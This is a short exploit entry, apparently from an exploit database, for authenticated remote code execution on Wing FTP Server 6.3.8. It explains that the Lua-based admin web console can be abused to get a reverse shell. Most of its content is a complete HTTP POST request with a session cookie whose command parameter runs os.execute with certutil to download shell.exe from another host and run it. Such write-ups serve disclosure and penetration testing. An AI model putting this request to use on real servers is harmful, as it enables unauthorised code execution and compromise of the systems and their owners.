[webapps] Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)

# Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated) # Date: 2020-06-26 # Exploit Author: v1n1v131r4 # Vendor Homepage: https://www.wftpserver.com/ # Software Link: https://www.wftpserver.com/download.htm # Version: 6.3.8 # Tested on: Windows 10 # CVE : -- Wing FTP Server have a web console based on Lua language. For authenticated users, this console can be exploited to obtaining a reverse shell. 1) Generate your payload (e.g. msfvenom) 2) Send and execute via POST POST /admin_lua_.html?r=0.3592753444724336 HTTP/1.1 Host: 192.168.56.105:5466 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.56.105:5466/admin_lua_term.html Content-Type: text/plain;charset=UTF-8 Content-Length: 153 Connection: close Cookie: admin_lang=english; admin_login_name=admin; UIDADMIN=75e5058fb61a81e427ae86f55794f1f5 command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-f%20http%3A%2F%2F192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe')